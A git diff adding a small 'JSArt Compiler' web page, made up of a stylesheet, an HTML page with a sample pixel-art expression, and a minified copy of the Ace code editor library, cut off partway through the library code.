diff --git a/jsam.codersquack.nl b/jsam.codersquack.nl deleted file mode 160000 index 6e65dff..0000000 --- a/jsam.codersquack.nl +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 6e65dffe2e9f77a892af1024b76b04867508a6ea diff --git a/jsam.codersquack.nl/compiler/css/style.css b/jsam.codersquack.nl/compiler/css/style.css new file mode 100644 index 0000000..77f80c4 --- /dev/null +++ b/jsam.codersquack.nl/compiler/css/style.css @@ -0,0 +1,38 @@ +html, body { + height: 100% !important; +} + +body { + display: flex !important; + margin: 0 !important; + text-align: center !important; +} + +#editor { + flex: 1 !important; + padding: 8px !important; + background-color: #d8d8d8; +} + +#preview { + padding: 8px !important; +} + +#input { + width: 100% !important; + height: 300px !important; + margin-bottom: 8px !important; +} + +#output { + height: 100px !important; + display: block !important; + width: 100% !important; + margin-bottom: 8px !important; + resize: none !important; + box-sizing: border-box !important; +} + +canvas { + image-rendering: pixelated !important; +} \ No newline at end of file diff --git a/jsam.codersquack.nl/compiler/index.html b/jsam.codersquack.nl/compiler/index.html new file mode 100644 index 0000000..238210d --- /dev/null +++ b/jsam.codersquack.nl/compiler/index.html @@ -0,0 +1,31 @@ + + + JSArt Compiler + + + + + + + +
+
var xor = `(x^y)`; + +var xpos = `(x-128)`; +var ypos = `(y-128)`; + +var circleCheck = `((${xpos}*${xpos} + ${ypos}*${ypos}) > 10000)`; + +var spinX = `((Math.cos(t/1000)*${xpos})+(Math.sin(t/1000)*${ypos}))`; +var spinY = `((Math.cos(t/1000)*${ypos})+(-Math.sin(t/1000)*${xpos}))`; + +var spinningXor = `(${spinX} ^ ${spinY})`; + +return `${circleCheck} ? ${xor} : ${spinningXor}`;
+ +
+
+ +
+ + \ No newline at end of file diff --git a/jsam.codersquack.nl/compiler/js/ace.js b/jsam.codersquack.nl/compiler/js/ace.js new file mode 100644 index 0000000..2d615b6 --- /dev/null +++ b/jsam.codersquack.nl/compiler/js/ace.js @@ -0,0 +1 @@ +!function(){var e=function(){return this}();if(e||"undefined"==typeof window||(e=window),"undefined"==typeof requirejs){var t=function(e,i,n){"string"==typeof e?(2==arguments.length&&(n=i),t.modules[e]||(t.payloads[e]=n,t.modules[e]=null)):t.original?t.original.apply(this,arguments):(console.error("dropping module because define wasn't a string."),console.trace())};t.modules={},t.payloads={};var i,n,s=function(e,t,i){if("string"==typeof t){var n=a(e,t);if(null!=n)return i&&i(),n}else if("[object Array]"===Object.prototype.toString.call(t)){for(var s=[],r=0,l=t.length;ri.length)&&(t=i.length),t-=e.length;var n=i.indexOf(e,t);return-1!==n&&n===t})),String.prototype.repeat||n(String.prototype,"repeat",(function(e){for(var t="",i=this;e>0;)1&e&&(t+=i),(e>>=1)&&(i+=i);return t})),String.prototype.includes||n(String.prototype,"includes",(function(e,t){return-1!=this.indexOf(e,t)})),Object.assign||(Object.assign=function(e){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),i=1;i>>0,n=arguments[1],s=n>>0,o=s<0?Math.max(i+s,0):Math.min(s,i),r=arguments[2],a=void 0===r?i:r>>0,l=a<0?Math.max(i+a,0):Math.min(a,i);o0;)1&t&&(i+=e),(t>>=1)&&(e+=e);return i};var n=/^\s\s*/,s=/\s\s*$/;t.stringTrimLeft=function(e){return e.replace(n,"")},t.stringTrimRight=function(e){return e.replace(s,"")},t.copyObject=function(e){var t={};for(var i in e)t[i]=e[i];return t},t.copyArray=function(e){for(var t=[],i=0,n=e.length;i=0?parseFloat((o.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]):parseFloat((o.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]),t.isOldIE=t.isIE&&t.isIE<9,t.isGecko=t.isMozilla=o.match(/ Gecko\/\d+/),t.isOpera="object"==typeof opera&&"[object Opera]"==Object.prototype.toString.call(window.opera),t.isWebKit=parseFloat(o.split("WebKit/")[1])||void 0,t.isChrome=parseFloat(o.split(" Chrome/")[1])||void 0,t.isEdge=parseFloat(o.split(" Edge/")[1])||void 0,t.isAIR=o.indexOf("AdobeAIR")>=0,t.isAndroid=o.indexOf("Android")>=0,t.isChromeOS=o.indexOf(" CrOS ")>=0,t.isIOS=/iPad|iPhone|iPod/.test(o)&&!window.MSStream,t.isIOS&&(t.isMac=!0),t.isMobile=t.isIOS||t.isAndroid})),define("ace/lib/dom",["require","exports","module","ace/lib/useragent"],(function(e,t,i){"use strict";var n,s=e("./useragent");t.buildDom=function e(t,i,n){if("string"==typeof t&&t){var s=document.createTextNode(t);return i&&i.appendChild(s),s}if(!Array.isArray(t))return t&&t.appendChild&&i&&i.appendChild(t),t;if("string"!=typeof t[0]||!t[0]){for(var o=[],r=0;r=1.5,s.isChromeOS&&(t.HI_DPI=!1),"undefined"!=typeof document){var l=document.createElement("div");t.HI_DPI&&void 0!==l.style.transform&&(t.HAS_CSS_TRANSFORMS=!0),s.isEdge||void 0===l.style.animationName||(t.HAS_CSS_ANIMATION=!0),l=null}t.HAS_CSS_TRANSFORMS?t.translate=function(e,t,i){e.style.transform="translate("+Math.round(t)+"px, "+Math.round(i)+"px)"}:t.translate=function(e,t,i){e.style.top=Math.round(i)+"px",e.style.left=Math.round(t)+"px"}})),define("ace/lib/net",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./dom");t.get=function(e,t){var i=new XMLHttpRequest;i.open("GET",e,!0),i.onreadystatechange=function(){4===i.readyState&&t(i.responseText)},i.send(null)},t.loadScript=function(e,t){var i=n.getDocumentHead(),s=document.createElement("script");s.src=e,i.appendChild(s),s.onload=s.onreadystatechange=function(e,i){!i&&s.readyState&&"loaded"!=s.readyState&&"complete"!=s.readyState||(s=s.onload=s.onreadystatechange=null,i||t())}},t.qualifyURL=function(e){var t=document.createElement("a");return t.href=e,t.href}})),define("ace/lib/event_emitter",["require","exports","module"],(function(e,t,i){"use strict";var n={},s=function(){this.propagationStopped=!0},o=function(){this.defaultPrevented=!0};n._emit=n._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var i=this._eventRegistry[e]||[],n=this._defaultHandlers[e];if(i.length||n){"object"==typeof t&&t||(t={}),t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=s),t.preventDefault||(t.preventDefault=o),i=i.slice();for(var r=0;r1&&(s=i[i.length-2]);var r=a[t+"Path"];return null==r?r=a.basePath:"/"==n&&(t=n=""),r&&"/"!=r.slice(-1)&&(r+="/"),r+t+n+s+this.get("suffix")},t.setModuleUrl=function(e,t){return a.$moduleUrls[e]=t};t.setLoader=function(e){e},t.$loading={},t.loadModule=function(i,n){var o,r;Array.isArray(i)&&(r=i[0],i=i[1]);try{o=e(i)}catch(e){}if(o&&!t.$loading[i])return n&&n(o);if(t.$loading[i]||(t.$loading[i]=[]),t.$loading[i].push(n),!(t.$loading[i].length>1)){var a=function(){e([i],(function(e){t._emit("load.module",{name:i,module:e});var n=t.$loading[i];t.$loading[i]=null,n.forEach((function(t){t&&t(e)}))}))};if(!t.get("packaged"))return a();s.loadScript(t.moduleUrl(i,r),a),l()}};var l=function(){a.basePath||a.workerPath||a.modePath||a.themePath||Object.keys(a.$moduleUrls).length||(console.error("Unable to infer path to ace from script src,","use ace.config.set('basePath', 'path') to enable dynamic loading of modes and themes","or with webpack use ace/webpack-resolver"),l=function(){})};t.version="1.8.1"})),define("ace/loader_build",["require","exports","module","ace/lib/fixoldbrowsers","ace/config"],(function(e,t,i){"use strict";e("./lib/fixoldbrowsers");var n=e("./config"),s=function(){return this||"undefined"!=typeof window&&window}();function o(t){if(s&&s.document){n.set("packaged",t||e.packaged||i.packaged||s.define&&define.packaged);for(var o,r={},a="",l=document.currentScript||document._currentScript,h=(l&&l.ownerDocument||document).getElementsByTagName("script"),c=0;c1?++u>4&&(u=1):u=1,o.isIE){var r=Math.abs(e.clientX-a)>5||Math.abs(e.clientY-l)>5;h&&!r||(u=1),h&&clearTimeout(h),h=setTimeout((function(){h=null}),i[u-1]||600),1==u&&(a=e.clientX,l=e.clientY)}if(e._clicks=u,n[s]("mousedown",e),u>4)u=0;else if(u>1)return n[s](d[u],e)}Array.isArray(e)||(e=[e]),e.forEach((function(e){c(e,"mousedown",g,r)}))};var d=function(e){return 0|(e.ctrlKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.metaKey?8:0)};function g(e,t,i){var n=d(t);if(!o.isMac&&r){if(t.getModifierState&&(t.getModifierState("OS")||t.getModifierState("Win"))&&(n|=8),r.altGr){if(3==(3&n))return;r.altGr=0}if(18===i||17===i){var l="location"in t?t.location:t.keyLocation;if(17===i&&1===l)1==r[i]&&(a=t.timeStamp);else if(18===i&&3===n&&2===l){t.timeStamp-a<50&&(r.altGr=!0)}}}if((i in s.MODIFIER_KEYS&&(i=-1),!n&&13===i)&&(3===(l="location"in t?t.location:t.keyLocation)&&(e(t,n,-i),t.defaultPrevented)))return;if(o.isChromeOS&&8&n){if(e(t,n,i),t.defaultPrevented)return;n&=-9}return!!(n||i in s.FUNCTION_KEYS||i in s.PRINTABLE_KEYS)&&e(t,n,i)}function f(){r=Object.create(null)}if(t.getModifierString=function(e){return s.KEY_MODS[d(e)]},t.addCommandKeyListener=function(e,i,n){if(o.isOldGecko||o.isOpera&&!("KeyboardEvent"in window)){var s=null;c(e,"keydown",(function(e){s=e.keyCode}),n),c(e,"keypress",(function(e){return g(i,e,s)}),n)}else{var a=null;c(e,"keydown",(function(e){r[e.keyCode]=(r[e.keyCode]||0)+1;var t=g(i,e,e.keyCode);return a=e.defaultPrevented,t}),n),c(e,"keypress",(function(e){a&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey)&&(t.stopEvent(e),a=null)}),n),c(e,"keyup",(function(e){r[e.keyCode]=null}),n),r||(f(),c(window,"focus",f))}},"object"==typeof window&&window.postMessage&&!o.isOldIE){var m=1;t.nextTick=function(e,i){i=i||window;var n="zero-timeout-message-"+m++,s=function(o){o.data==n&&(t.stopPropagation(o),u(i,"message",s),e())};c(i,"message",s),i.postMessage(n,"*")}}t.$idleBlocked=!1,t.onIdle=function(e,i){return setTimeout((function i(){t.$idleBlocked?setTimeout(i,100):e()}),i)},t.$idleBlockId=null,t.blockIdle=function(e){t.$idleBlockId&&clearTimeout(t.$idleBlockId),t.$idleBlocked=!0,t.$idleBlockId=setTimeout((function(){t.$idleBlocked=!1}),e||100)},t.nextFrame="object"==typeof window&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame),t.nextFrame?t.nextFrame=t.nextFrame.bind(window):t.nextFrame=function(e){setTimeout(e,17)}})),define("ace/range",["require","exports","module"],(function(e,t,i){"use strict";var n=function(e,t,i,n){this.start={row:e,column:t},this.end={row:i,column:n}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return"Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]"},this.contains=function(e,t){return 0==this.compare(e,t)},this.compareRange=function(e){var t,i=e.end,n=e.start;return 1==(t=this.compare(i.row,i.column))?1==(t=this.compare(n.row,n.column))?2:0==t?1:0:-1==t?-2:-1==(t=this.compare(n.row,n.column))?-1:1==t?42:0},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return 0==this.comparePoint(e.start)&&0==this.comparePoint(e.end)},this.intersects=function(e){var t=this.compareRange(e);return-1==t||0==t||1==t},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){"object"==typeof e?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){"object"==typeof e?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return 0==this.compare(e,t)&&(!this.isEnd(e,t)&&!this.isStart(e,t))},this.insideStart=function(e,t){return 0==this.compare(e,t)&&!this.isEnd(e,t)},this.insideEnd=function(e,t){return 0==this.compare(e,t)&&!this.isStart(e,t)},this.compare=function(e,t){return this.isMultiLine()||e!==this.start.row?ethis.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0:tthis.end.column?1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var i={row:t+1,column:0};else if(this.end.rowt)var s={row:t+1,column:0};else if(this.start.rowDate.now()-50)||(n=!1)},cancel:function(){n=Date.now()}}})),define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/clipboard","ace/lib/keys"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=e("../lib/dom"),r=e("../lib/lang"),a=e("../clipboard"),l=s.isChrome<18,h=s.isIE,c=s.isChrome>63,u=400,d=e("../lib/keys"),g=d.KEY_MODS,f=s.isIOS,m=f?/\s/:/\n/,p=s.isMobile;t.TextInput=function(e,t){var i=o.createElement("textarea");i.className="ace_text-input",i.setAttribute("wrap","off"),i.setAttribute("autocorrect","off"),i.setAttribute("autocapitalize","off"),i.setAttribute("spellcheck",!1),i.style.opacity="0",e.insertBefore(i,e.firstChild);var v=!1,w=!1,$=!1,b=!1,y="";p||(i.style.fontSize="1px");var C=!1,S=!1,x="",k=0,A=0,L=0;try{var R=document.activeElement===i}catch(e){}n.addListener(i,"blur",(function(e){S||(t.onBlur(e),R=!1)}),t),n.addListener(i,"focus",(function(e){if(!S){if(R=!0,s.isEdge)try{if(!document.hasFocus())return}catch(e){}t.onFocus(e),s.isEdge?setTimeout(M):M()}}),t),this.$focusScroll=!1,this.focus=function(){if(y||c||"browser"==this.$focusScroll)return i.focus({preventScroll:!0});var e=i.style.top;i.style.position="fixed",i.style.top="0px";try{var t=0!=i.getBoundingClientRect().top}catch(e){return}var n=[];if(t)for(var s=i.parentElement;s&&1==s.nodeType;)n.push(s),s.setAttribute("ace_nocontext",!0),s=!s.parentElement&&s.getRootNode?s.getRootNode().host:s.parentElement;i.focus({preventScroll:!0}),t&&n.forEach((function(e){e.removeAttribute("ace_nocontext")})),setTimeout((function(){i.style.position="","0px"==i.style.top&&(i.style.top=e)}),0)},this.blur=function(){i.blur()},this.isFocused=function(){return R},t.on("beforeEndOperation",(function(){var e=t.curOp,n=e&&e.command&&e.command.name;if("insertstring"!=n){var s=n&&(e.docChanged||e.selectionChanged);$&&s&&(x=i.value="",P()),M()}}));var M=f?function(e){if(R&&(!v||e)&&!b){e||(e="");var n="\n ab"+e+"cde fg\n";n!=i.value&&(i.value=x=n);var s=4+(e.length||(t.selection.isEmpty()?0:1));4==k&&A==s||i.setSelectionRange(4,s),k=4,A=s}}:function(){if(!$&&!b&&(R||T)){$=!0;var e=0,n=0,s="";if(t.session){var o=t.selection,r=o.getRange(),a=o.cursor.row;if(e=r.start.column,n=r.end.column,s=t.session.getLine(a),r.start.row!=a){var l=t.session.getLine(a-1);e=r.start.rowa+1?h.length:n,n+=s.length+1,s=s+"\n"+h}else p&&a>0&&(s="\n"+s,n+=1,e+=1);s.length>u&&(e0&&x[d]==e[d];)d++,a--;for(h=h.slice(d),d=1;l>0&&x.length-d>k-1&&x[x.length-d]==e[e.length-d];)d++,l--;c-=d-1,u-=d-1;var g=h.length-d+1;if(g<0&&(a=-g,g=0),h=h.slice(0,g),!(n||h||c||a||l||u))return"";b=!0;var f=!1;return s.isAndroid&&". "==h&&(h=" ",f=!0),h&&!a&&!l&&!c&&!u||C?t.onTextInput(h):t.onTextInput(h,{extendLeft:a,extendRight:l,restoreStart:c,restoreEnd:u}),b=!1,x=e,k=o,A=r,L=u,f?"\n":h},F=function(e){if($)return H();if(e&&e.inputType){if("historyUndo"==e.inputType)return t.execCommand("undo");if("historyRedo"==e.inputType)return t.execCommand("redo")}var n=i.value,s=_(n,!0);(n.length>500||m.test(s)||p&&k<1&&k==A)&&M()},O=function(e,t,i){var n=e.clipboardData||window.clipboardData;if(n&&!l){var s=h||i?"Text":"text/plain";try{return t?!1!==n.setData(s,t):n.getData(s)}catch(e){if(!i)return O(e,t,!0)}}},I=function(e,s){var o=t.getCopyText();if(!o)return n.preventDefault(e);O(e,o)?(f&&(M(o),v=o,setTimeout((function(){v=!1}),10)),s?t.onCut():t.onCopy(),n.preventDefault(e)):(v=!0,i.value=o,i.select(),setTimeout((function(){v=!1,M(),s?t.onCut():t.onCopy()})))},W=function(e){I(e,!0)},B=function(e){I(e,!1)},D=function(e){var o=O(e);a.pasteCancelled()||("string"==typeof o?(o&&t.onPaste(o,e),s.isIE&&setTimeout(M),n.preventDefault(e)):(i.value="",w=!0))};n.addCommandKeyListener(i,t.onCommandKey.bind(t),t),n.addListener(i,"select",(function(e){$||(v?v=!1:!function(e){return 0===e.selectionStart&&e.selectionEnd>=x.length&&e.value===x&&x&&e.selectionEnd!==A}(i)?p&&i.selectionStart!=k&&M():(t.selectAll(),M()))}),t),n.addListener(i,"input",F,t),n.addListener(i,"cut",W,t),n.addListener(i,"copy",B,t),n.addListener(i,"paste",D,t),"oncut"in i&&"oncopy"in i&&"onpaste"in i||n.addListener(e,"keydown",(function(e){if((!s.isMac||e.metaKey)&&e.ctrlKey)switch(e.keyCode){case 67:B(e);break;case 86:D(e);break;case 88:W(e)}}),t);var H=function(){if($&&t.onCompositionUpdate&&!t.$readOnly){if(C)return N();if($.useTextareaForIME)t.onCompositionUpdate(i.value);else{var e=i.value;_(e),$.markerRange&&($.context&&($.markerRange.start.column=$.selectionStart=$.context.compositionStartOffset),$.markerRange.end.column=$.markerRange.start.column+A-$.selectionStart+L)}}},P=function(e){t.onCompositionEnd&&!t.$readOnly&&($=!1,t.onCompositionEnd(),t.off("mousedown",N),e&&F())};function N(){S=!0,i.blur(),i.focus(),S=!1}var z,V=r.delayedCall(H,50).schedule.bind(null,null);function U(){clearTimeout(z),z=setTimeout((function(){y&&(i.style.cssText=y,y=""),t.renderer.$isMousePressed=!1,t.renderer.$keepTextAreaAtCursor&&t.renderer.$moveTextAreaToCursor()}),0)}n.addListener(i,"compositionstart",(function(e){if(!$&&t.onCompositionStart&&!t.$readOnly&&($={},!C)){e.data&&($.useTextareaForIME=!1),setTimeout(H,0),t._signal("compositionStart"),t.on("mousedown",N);var n=t.getSelectionRange();n.end.row=n.start.row,n.end.column=n.start.column,$.markerRange=n,$.selectionStart=k,t.onCompositionStart($),$.useTextareaForIME?(x=i.value="",k=0,A=0):(i.msGetInputContext&&($.context=i.msGetInputContext()),i.getInputContext&&($.context=i.getInputContext()))}}),t),n.addListener(i,"compositionupdate",H,t),n.addListener(i,"keyup",(function(e){27==e.keyCode&&i.value.lengthA&&"\n"==x[o]?r=d.end:nA&&x.slice(0,o).split("\n").length>2?r=d.down:o>A&&" "==x[o-1]?(r=d.right,a=g.option):(o>A||o==A&&A!=k&&n==o)&&(r=d.right),n!==o&&(a|=g.shift),r){if(!t.onCommandKey({},a,r)&&t.commands){r=d.keyCodeToString(r);var l=t.commands.findKeyCommand(a,r);l&&t.execCommand(l)}k=n,A=o,M("")}}};document.addEventListener("selectionchange",o),t.on("destroy",(function(){document.removeEventListener("selectionchange",o)}))}(0,t,i),this.destroy=function(){i.parentElement&&i.parentElement.removeChild(i)}},t.$setUserAgentForTests=function(e,t){p=e,f=t}})),define("ace/mouse/default_handlers",["require","exports","module","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/useragent");function s(e){e.$clickSelection=null;var t=e.editor;t.setDefaultHandler("mousedown",this.onMouseDown.bind(e)),t.setDefaultHandler("dblclick",this.onDoubleClick.bind(e)),t.setDefaultHandler("tripleclick",this.onTripleClick.bind(e)),t.setDefaultHandler("quadclick",this.onQuadClick.bind(e)),t.setDefaultHandler("mousewheel",this.onMouseWheel.bind(e));["select","startSelect","selectEnd","selectAllEnd","selectByWordsEnd","selectByLinesEnd","dragWait","dragWaitEnd","focusWait"].forEach((function(t){e[t]=this[t]}),this),e.selectByLines=this.extendSelectionBy.bind(e,"getLineRange"),e.selectByWords=this.extendSelectionBy.bind(e,"getWordRange")}function o(e,t){if(e.start.row==e.end.row)var i=2*t.column-e.start.column-e.end.column;else if(e.start.row!=e.end.row-1||e.start.column||e.end.column)i=2*t.row-e.start.row-e.end.row;else var i=t.column-4;return i<0?{cursor:e.start,anchor:e.end}:{cursor:e.end,anchor:e.start}}(function(){this.onMouseDown=function(e){var t=e.inSelection(),i=e.getDocumentPosition();this.mousedownEvent=e;var s=this.editor,o=e.getButton();return 0!==o?((s.getSelectionRange().isEmpty()||1==o)&&s.selection.moveToPosition(i),void(2==o&&(s.textInput.onContextMenu(e.domEvent),n.isMozilla||e.preventDefault()))):(this.mousedownEvent.time=Date.now(),!t||s.isFocused()||(s.focus(),!this.$focusTimeout||this.$clickSelection||s.inMultiSelectMode)?(this.captureMouse(e),this.startSelect(i,e.domEvent._clicks>1),e.preventDefault()):(this.setState("focusWait"),void this.captureMouse(e)))},this.startSelect=function(e,t){e=e||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var i=this.editor;this.mousedownEvent&&(this.mousedownEvent.getShiftKey()?i.selection.selectToPosition(e):t||i.selection.moveToPosition(e),t||this.select(),i.renderer.scroller.setCapture&&i.renderer.scroller.setCapture(),i.setStyle("ace_selecting"),this.setState("select"))},this.select=function(){var e,t=this.editor,i=t.renderer.screenToTextCoordinates(this.x,this.y);if(this.$clickSelection){var n=this.$clickSelection.comparePoint(i);if(-1==n)e=this.$clickSelection.end;else if(1==n)e=this.$clickSelection.start;else{var s=o(this.$clickSelection,i);i=s.cursor,e=s.anchor}t.selection.setSelectionAnchor(e.row,e.column)}t.selection.selectToPosition(i),t.renderer.scrollCursorIntoView()},this.extendSelectionBy=function(e){var t,i=this.editor,n=i.renderer.screenToTextCoordinates(this.x,this.y),s=i.selection[e](n.row,n.column);if(this.$clickSelection){var r=this.$clickSelection.comparePoint(s.start),a=this.$clickSelection.comparePoint(s.end);if(-1==r&&a<=0)t=this.$clickSelection.end,s.end.row==n.row&&s.end.column==n.column||(n=s.start);else if(1==a&&r>=0)t=this.$clickSelection.start,s.start.row==n.row&&s.start.column==n.column||(n=s.end);else if(-1==r&&1==a)n=s.end,t=s.start;else{var l=o(this.$clickSelection,n);n=l.cursor,t=l.anchor}i.selection.setSelectionAnchor(t.row,t.column)}i.selection.selectToPosition(n),i.renderer.scrollCursorIntoView()},this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null,this.editor.unsetStyle("ace_selecting"),this.editor.renderer.scroller.releaseCapture&&this.editor.renderer.scroller.releaseCapture()},this.focusWait=function(){var e,t,i,n,s=(e=this.mousedownEvent.x,t=this.mousedownEvent.y,i=this.x,n=this.y,Math.sqrt(Math.pow(i-e,2)+Math.pow(n-t,2))),o=Date.now();(s>0||o-this.mousedownEvent.time>this.$focusTimeout)&&this.startSelect(this.mousedownEvent.getDocumentPosition())},this.onDoubleClick=function(e){var t=e.getDocumentPosition(),i=this.editor,n=i.session.getBracketRange(t);n?(n.isEmpty()&&(n.start.column--,n.end.column++),this.setState("select")):(n=i.selection.getWordRange(t.row,t.column),this.setState("selectByWords")),this.$clickSelection=n,this.select()},this.onTripleClick=function(e){var t=e.getDocumentPosition(),i=this.editor;this.setState("selectByLines");var n=i.getSelectionRange();n.isMultiLine()&&n.contains(t.row,t.column)?(this.$clickSelection=i.selection.getLineRange(n.start.row),this.$clickSelection.end=i.selection.getLineRange(n.end.row).end):this.$clickSelection=i.selection.getLineRange(t.row),this.select()},this.onQuadClick=function(e){var t=this.editor;t.selectAll(),this.$clickSelection=t.getSelectionRange(),this.setState("selectAll")},this.onMouseWheel=function(e){if(!e.getAccelKey()){e.getShiftKey()&&e.wheelY&&!e.wheelX&&(e.wheelX=e.wheelY,e.wheelY=0);var t=this.editor;this.$lastScroll||(this.$lastScroll={t:0,vx:0,vy:0,allowed:0});var i=this.$lastScroll,n=e.domEvent.timeStamp,s=n-i.t,o=s?e.wheelX/s:i.vx,r=s?e.wheelY/s:i.vy;s<550&&(o=(o+i.vx)/2,r=(r+i.vy)/2);var a=Math.abs(o/r),l=!1;if(a>=1&&t.renderer.isScrollableBy(e.wheelX*e.speed,0)&&(l=!0),a<=1&&t.renderer.isScrollableBy(0,e.wheelY*e.speed)&&(l=!0),l)i.allowed=n;else if(n-i.allowed<550){Math.abs(o)<=1.5*Math.abs(i.vx)&&Math.abs(r)<=1.5*Math.abs(i.vy)?(l=!0,i.allowed=n):i.allowed=0}return i.t=n,i.vx=o,i.vy=r,l?(t.renderer.scrollBy(e.wheelX*e.speed,e.wheelY*e.speed),e.stop()):void 0}}}).call(s.prototype),t.DefaultHandlers=s})),define("ace/tooltip",["require","exports","module","ace/lib/oop","ace/lib/dom"],(function(e,t,i){"use strict";e("./lib/oop");var n=e("./lib/dom"),s="ace_tooltip";function o(e){this.isOpen=!1,this.$element=null,this.$parentNode=e}(function(){this.$init=function(){return this.$element=n.createElement("div"),this.$element.className=s,this.$element.style.display="none",this.$parentNode.appendChild(this.$element),this.$element},this.getElement=function(){return this.$element||this.$init()},this.setText=function(e){this.getElement().textContent=e},this.setHtml=function(e){this.getElement().innerHTML=e},this.setPosition=function(e,t){this.getElement().style.left=e+"px",this.getElement().style.top=t+"px"},this.setClassName=function(e){n.addCssClass(this.getElement(),e)},this.show=function(e,t,i){null!=e&&this.setText(e),null!=t&&null!=i&&this.setPosition(t,i),this.isOpen||(this.getElement().style.display="block",this.isOpen=!0)},this.hide=function(){this.isOpen&&(this.getElement().style.display="none",this.getElement().className=s,this.isOpen=!1)},this.getHeight=function(){return this.getElement().offsetHeight},this.getWidth=function(){return this.getElement().offsetWidth},this.destroy=function(){this.isOpen=!1,this.$element&&this.$element.parentNode&&this.$element.parentNode.removeChild(this.$element)}}).call(o.prototype),t.Tooltip=o})),define("ace/mouse/default_gutter_handler",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/event","ace/tooltip"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/oop"),o=e("../lib/event"),r=e("../tooltip").Tooltip;function a(e){r.call(this,e)}s.inherits(a,r),function(){this.setPosition=function(e,t){var i=window.innerWidth||document.documentElement.clientWidth,n=window.innerHeight||document.documentElement.clientHeight,s=this.getWidth(),o=this.getHeight();(e+=15)+s>i&&(e-=e+s-i),(t+=15)+o>n&&(t-=20+o),r.prototype.setPosition.call(this,e,t)}}.call(a.prototype),t.GutterHandler=function(e){var t,i,s,r=e.editor,l=r.renderer.$gutterLayer,h=new a(r.container);function c(){t&&(t=clearTimeout(t)),s&&(h.hide(),s=null,r._signal("hideGutterTooltip",h),r.off("mousewheel",c))}function u(e){h.setPosition(e.x,e.y)}e.editor.setDefaultHandler("guttermousedown",(function(t){if(r.isFocused()&&0==t.getButton()&&"foldWidgets"!=l.getRegion(t)){var i=t.getDocumentPosition().row,n=r.session.selection;if(t.getShiftKey())n.selectTo(i,0);else{if(2==t.domEvent.detail)return r.selectAll(),t.preventDefault();e.$clickSelection=r.selection.getLineRange(i)}return e.setState("selectByLines"),e.captureMouse(t),t.preventDefault()}})),e.editor.setDefaultHandler("guttermousemove",(function(o){var a=o.domEvent.target||o.domEvent.srcElement;if(n.hasCssClass(a,"ace_fold-widget"))return c();s&&e.$tooltipFollowsMouse&&u(o),i=o,t||(t=setTimeout((function(){t=null,i&&!e.isMousePressed?function(){var t=i.getDocumentPosition().row,n=l.$annotations[t];if(!n)return c();if(t==r.session.getLength()){var o=r.renderer.pixelToScreenCoordinates(0,i.y).row,a=i.$pos;if(o>r.session.documentToScreenRow(a.row,a.column))return c()}if(s!=n){s=n.text.join("
"),h.setHtml(s);var d=n.className;if(d&&h.setClassName(d.trim()),h.show(),r._signal("showGutterTooltip",h),r.on("mousewheel",c),e.$tooltipFollowsMouse)u(i);else{var g=i.domEvent.target.getBoundingClientRect(),f=h.getElement().style;f.left=g.right+"px",f.top=g.bottom+"px"}}}():c()}),50))})),o.addListener(r.renderer.$gutter,"mouseout",(function(e){i=null,s&&!t&&(t=setTimeout((function(){t=null,c()}),50))}),r),r.on("changeSession",c)}})),define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/event"),s=e("../lib/useragent"),o=t.MouseEvent=function(e,t){this.domEvent=e,this.editor=t,this.x=this.clientX=e.clientX,this.y=this.clientY=e.clientY,this.$pos=null,this.$inSelection=null,this.propagationStopped=!1,this.defaultPrevented=!1};(function(){this.stopPropagation=function(){n.stopPropagation(this.domEvent),this.propagationStopped=!0},this.preventDefault=function(){n.preventDefault(this.domEvent),this.defaultPrevented=!0},this.stop=function(){this.stopPropagation(),this.preventDefault()},this.getDocumentPosition=function(){return this.$pos||(this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY)),this.$pos},this.inSelection=function(){if(null!==this.$inSelection)return this.$inSelection;var e=this.editor.getSelectionRange();if(e.isEmpty())this.$inSelection=!1;else{var t=this.getDocumentPosition();this.$inSelection=e.contains(t.row,t.column)}return this.$inSelection},this.getButton=function(){return n.getButton(this.domEvent)},this.getShiftKey=function(){return 